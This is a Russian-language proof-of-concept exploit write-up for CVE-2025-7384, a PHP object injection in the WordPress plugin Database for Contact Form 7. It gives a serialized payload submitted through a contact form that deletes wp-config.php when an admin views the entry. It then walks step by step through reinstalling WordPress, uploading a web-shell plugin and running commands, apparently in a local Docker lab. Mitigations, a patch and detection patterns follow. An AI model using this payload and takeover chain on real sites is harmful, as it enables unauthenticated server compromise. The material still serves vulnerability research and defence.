
Эксплойт PoC и анализ первопричины критической неаутентифицированной инъекции PHP-объектов в WordPress Database for Contact Form 7, приводящей к RCE через произвольное удаление файлов.
Плагин: Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS: 9.8 (Critical)
CWE: CWE-502 — Десериализация недоверенных данных
Требование аутентификации: Отсутствует (без аутентификации)
Воздействие: Удалённое выполнение кода
Плагин «Database for Contact Form 7» (slug: contact-form-entries) версии 1.4.3 и ниже содержит уязвимость PHP Object Injection. Когда администратор WordPress просматривает запись формы в административной панели, плагин вызывает функцию maybe_unserialize() напрямую для данных, отправленных неаутентифицированным пользователем через Contact Form 7, без контроля списка разрешённых классов для инстанцирования.
Атакующему не нужно входить в систему — достаточно отправить обычную контактную форму, вставив сериализованный PHP-объект в любое поле формы. Эти данные сохраняются в базе данных в исходном виде. Когда администратор открывает эту запись для просмотра, функция десериализации инстанцирует объект по выбору атакующего, запуская магические методы, такие как __destruct() или __wakeup() → выполнение произвольного поведения в зависимости от доступных POP-гаджетов в окружении WordPress.
Уровень критичности: При наличии подходящего POP-гаджета (например, класса, чей метод
__destruct()вызываетunlink()), атакующий может удалить файлwp-config.php, вернув WordPress к экрану первоначальной установки → переустановить WordPress с учётной записью администратора, контролируемой атакующим → установить плагин, содержащий веб-шелл → добиться полного удалённого выполнения кода (RCE) на сервере.
PHP использует serialize() для преобразования объекта в структурированную текстовую строку, а unserialize() — для восстановления объекта из этой строки. Когда unserialize() получает данные из недоверенного источника (например, пользовательского ввода), атакующий может сконструировать произвольный объект, принадлежащий любому классу, загруженному в память PHP в этот момент.
Специальные методы, которые PHP автоматически вызывает в течение жизненного цикла объекта. Наиболее важные в этом контексте:
__wakeup() — вызывается немедленно при десериализации объекта__destruct() — вызывается при уничтожении объекта (выход из области видимости или завершение запроса)__toString() — вызывается при приведении объекта к строкеТехника объединения нескольких магических методов из существующих классов приложения для построения опасной последовательности действий. Атакующий не пишет новый код — он лишь манипулирует свойствами существующих объектов, чтобы при выполнении магических методов выполнялись действия, не предполагавшиеся разработчиками.
maybe_unserialize() в WordPressФункция-обёртка ядра WordPress. Она вызывает is_serialized(), чтобы проверить, является ли строка сериализованными данными — если да, то вызывает unserialize() для восстановления объекта. Проблема: эта функция не передаёт параметр allowed_classes (доступен с PHP 7.0) для ограничения списка классов, которые разрешено инстанцировать.
Начните с поиска по всему исходному коду плагина, чтобы найти функции десериализации — это самые опасные функции в PHP, так как они могут привести к Object Injection:
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

В выводе видно несколько мест вызова maybe_unserialize(), наиболее важное из которых — в includes/data.php, строка 545, внутри функции verify_val():

// data.php lines 538-548
public function verify_val($string){
if(in_array(substr(ltrim($string),0,1), array('{','['))
&& in_array(substr(rtrim($string),-1), array('}',']'))
){
$val = json_decode($string, 1);
if(is_array($val)){ $string = $val; }
} else if(is_serialized($string)){ // line 544
$string = maybe_unserialize($string); // ★ line 545 — SINK
}
return $string;
}
Ключевой вопрос: Откуда берётся переменная $string? Если она поступает из пользовательского ввода без фильтрации → это уязвимость.
Найдите, где вызывается verify_val(). Проследите обратный путь в том же файле data.php:

// data.php lines 520-535
public function get_lead_detail($lead_id){
global $wpdb;
$table = $wpdb->prefix . 'vxcf_leads_detail';
$detail_arr = $wpdb->get_results(
$wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
ARRAY_A
);
foreach($detail_arr as $k => $v){
if(!empty($v['value'])){
$detail_arr[$k]['value'] = $this->verify_val($v['value']); // ← вызывает verify_val
}
}
return $detail_arr;
}
→ $string — это ровно $v['value'] — значения, извлечённые из таблицы базы данных wp_vxcf_leads_detail. Эта функция вызывается, когда администратор просматривает детали записи формы.
Следующий вопрос: Откуда берутся данные внутри wp_vxcf_leads_detail? Кто их записывает?
Из шага 2 мы знаем, что данные извлекаются из базы данных. Следующий вопрос: кто записывает в неё данные? Выполните поиск INSERT-запросов в data.php:
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

Откройте код функции create_lead() (строки 85–103), чтобы увидеть детали:

В строках 98–99 значение $v — содержимое поля формы (например, your-message) — вставляется напрямую в базу данных через $wpdb->insert(). Плагин подключается к событию wpcf7_before_send_mail в Contact Form 7, поэтому при отправке формы все поля сохраняются в исходном виде.
Дополнительная проверка: плагин действительно использует sanitize_text_field() и sanitize_textarea_field() перед сохранением, но эти две функции лишь удаляют HTML-теги и специальные HTML-символы — сериализованная полезная нагрузка вида O:21:"VulnerableFileHandler":2:{...} не содержит HTML-тегов и поэтому проходит полностью без изменений.
На этом этапе установлен полный поток данных:
Неаутентифицированный пользователь отправляет форму CF7 (поле your-message содержит сериализованный объект)
↓ sanitize_text_field() — НЕ блокирует сериализованные строки
Сохранение в таблицу wp_vxcf_leads_detail (исходная полезная нагрузка)
↓
Администратор просматривает запись → get_lead_detail() → verify_val()
↓ is_serialized() возвращает true
maybe_unserialize($string) — строка 545 → PHP инстанцирует произвольный объект
↓
Выполняется __destruct() объекта → выполняет управляемое атакующим действие
Первопричина: Функция
maybe_unserialize()вdata.php:545вызывается для данных, происходящих из неаутентифицированного пользовательского ввода, без передачиallowed_classes: false. Атакующему достаточно отправить сериализованный PHP-объект через полеyour-messageформы CF7 → когда администратор просматривает запись, PHP инстанцирует этот объект и запускает магический метод__destruct().
Для наглядного подтверждения установите точку останова с помощью Xdebug на строке 545 файла data.php. После внедрения полезной нагрузки через форму и просмотра записи администратором отладчик останавливается точно на maybe_unserialize():

Панель переменных показывает $string, содержащую полезную нагрузку атакующего:
$string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → полезная нагрузка прошла путь от формы → базы данных → функции десериализации без блокировкиСтрока выполнения:
$string=maybe_unserialize($string);Стек вызовов показывает последовательность вызовов функций:
vxcf_form_data->verify_val data.php:545
vxcf_form_data->get_entries data.php:388
vxcf_form::get_entries contact-form-entries.php:2682
vxcf_form_pages->entries_page plugin-pages.php:1017
...
WP_Hook->apply_filters class-wp-hook.php:324
WP_Hook->do_action class-wp-hook.php:348
→ Подтверждает точно проанализированный поток: администратор просматривает запись → get_entries() → verify_val() → maybe_unserialize().
Цепочка атаки состоит из 5 этапов. Атакующему достаточно выполнить только этап 1 (отправка формы). Этапы 2–5 происходят автоматически после того, как администратор просмотрит запись.
Атакующий отправляет форму CF7 с сериализованным PHP-объектом в поле сообщения.
POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedbackyour-message содержит: O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}wp_vxcf_leads_detail — sanitize_text_field() не блокирует сериализованные строкиАдминистратор открывает страницу Contact Form Entries → просматривает детали записи → плагин вызывает verify_val() → maybe_unserialize().
VulnerableFileHandler с file_path = "/var/www/html/wp-config.php" и cleanup = true__destruct() → unlink("/var/www/html/wp-config.php")Файл wp-config.php удалён → WordPress теряет подключение к базе данных.
http://target/ → автоматическое перенаправление на /wp-admin/setup-config.php (экран начальной установки)Атакующий переустанавливает WordPress, используя известные (или подобранные перебором) учётные данные базы данных.
Установка плагина, содержащего веб-шелл → выполнение произвольных системных команд.
/wp-content/plugins/shell/shell.php?cmd=iduid=33(www-data) gid=33(www-data) → RCE завершеноЗапустите Docker-лабораторию, содержащую WordPress + уязвимый плагин:
cd CVE-2025-7384
docker-compose up --build -d
Подождите около 40 секунд, пока в логах не появится LAB READY. Откройте http://localhost:8181, чтобы убедиться, что WordPress запущен.
Из анализа исходного кода в разделе 3 мы знаем:
data.php:545 — maybe_unserialize() для значений полей формыwp_vxcf_leads_detail — данные приходят из формы CF7sanitize_text_field() — не блокирует сериализованные строки→ Вывод: просто отправьте сериализованный PHP-объект в любое поле формы CF7. Выберите your-message, поскольку это textarea, принимающая длинные строки, и с меньшим количеством проверок формата (в отличие от your-email, требующего формат email).
Откройте http://localhost:8181/contact/ и заполните форму следующим образом:
| Поле | Значение |
|---|---|
| Ваше имя | dung |
| Ваш email | [email protected] |
| Тема | test inject |
| Ваше сообщение | O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;} |

Пояснение полезной нагрузки:
O:21:"VulnerableFileHandler" — инстанцирует класс VulnerableFileHandler (у которого __destruct() вызывает unlink())s:9:"file_path";s:27:"/var/www/html/wp-config.php" — свойство file_path указывает на целевой файл для удаленияs:7:"cleanup";b:1 — свойство cleanup = true, поэтому __destruct() выполняет unlink()Нажмите Submit. Форма покажет сообщение об ошибке отправки письма (или об успехе) — это неважно, поскольку плагин contact-form-entries уже сохранил все данные в базу данных до отправки почты.
Войдите в http://localhost:8181/wp-admin (admin / admin123) → в левом меню выберите CRM Entries → нажмите, чтобы просмотреть полученную запись.

Это тот самый момент, когда выполнение достигает data.php:545 — плагин извлекает значение your-message из базы данных, проверка is_serialized() возвращает true, вызывается maybe_unserialize() → PHP создаёт объект VulnerableFileHandler → запрос завершается, выполняется __destruct() → unlink("/var/www/html/wp-config.php").
Перейдите в браузере на http://localhost:8181/ → WordPress перенаправит на страницу /wp-admin/setup-config.php (экран начальной установки) → файл wp-config.php успешно удалён.

После удаления wp-config.php WordPress возвращается в состояние «не установлен». Действия атакующего:
Шаг 1 — Переустановка WordPress:
Откройте http://localhost:8181/wp-admin/setup-config.php → введите учётные данные базы данных:
| Поле | Значение |
|---|---|
| Имя базы данных | wordpress |
| Имя пользователя | wpuser |
| Пароль | wppass |
| Хост базы данных | db |
Нажмите Submit → Запустите установку → создайте новую учётную запись администратора, контролируемую атакующим.
Шаг 2 — Загрузка веб-шелла:
Войдите в админ-панель → Плагины → Добавить новый → Загрузить плагин → загрузите файл system-health.zip (или system-monitor.zip).

Загрузка и активация прошли успешно.
Шаг 3 — Выполнение команд (RCE):
Обращение: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id

Вывод: uid=33(www-data) gid=33(www-data) → Удалённое выполнение кода завершено
Обращение: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami

Вывод: www-data → Удалённое выполнение кода завершено
*Взаимодействие с пользователем: NVD оценивает как None, поскольку просмотр администратором записей форм — это ожидаемое поведение, а не аномальное взаимодействие с пользователем.
Не используйте maybe_unserialize() для данных, предоставленных пользователем. Вместо этого используйте json_decode(), когда требуется хранение структурированных данных.
Если десериализация строго необходима, передавайте опцию allowed_classes: false (PHP 7.0+):
$data = unserialize($string, ['allowed_classes' => false]);
Это предотвращает инстанцирование PHP любых объектов — разрешая только скалярные типы и массивы.
/^[OaCis]:\d+/ (признак сериализованных данных).wp_vxcf_leads_detail на наличие записей, содержащих строки формата O:XX:"ClassName": — их присутствие указывает на попытки атакиwp-config.php имеет ограничительные права доступа к файлу (440 или 400) — это снижает вероятность удаления процессом веб-сервера// BEFORE (vulnerable):
} else if(is_serialized($string)){
$string = maybe_unserialize($string);
}
// AFTER (patched):
} else if(is_serialized($string)){
$string = json_decode(json_encode(
unserialize($string, ['allowed_classes' => false])
), true);
}
| Атрибут | Значение |
|---|
| CVE ID | CVE-2025-7384 |
| Оценка CVSS | 9.8 (Critical) |
| CWE | CWE-502 — Десериализация недоверенных данных |
| Затронутый плагин | contact-form-entries (Database for Contact Form 7) ≤ 1.4.3 |
| Требование аутентификации | Отсутствует — любой, кто отправляет форму CF7, может внедрить полезную нагрузку |
| Условие срабатывания | Администратор просматривает внедрённую запись в админ-панели |
| Максимальное воздействие | Неаутентифицированное удалённое выполнение кода |
| Исправленная версия | 1.4.4+ (заменяет unserialize на json_decode или allowed_classes: false) |
| Префикс таблиц |
| wp_ |
| Метрика CVSS | Значение | Пояснение |
|---|
| Вектор атаки | Network | Эксплуатируется по HTTP, физический доступ не требуется |
| Сложность атаки | Low | Требуется отправить всего 1 POST-запрос, содержащий полезную нагрузку |
| Требуемые привилегии | None | Аутентификация не требуется — форма CF7 открыта для всех |
| Взаимодействие с пользователем | None* | Администратор просматривает записи в ходе обычного рабочего процесса |
| Конфиденциальность | High | RCE позволяет читать любые файлы на сервере |
| Целостность | High | RCE позволяет записывать/изменять любые файлы |
| Доступность | High | Удаление wp-config.php приводит к полному отказу всего сайта |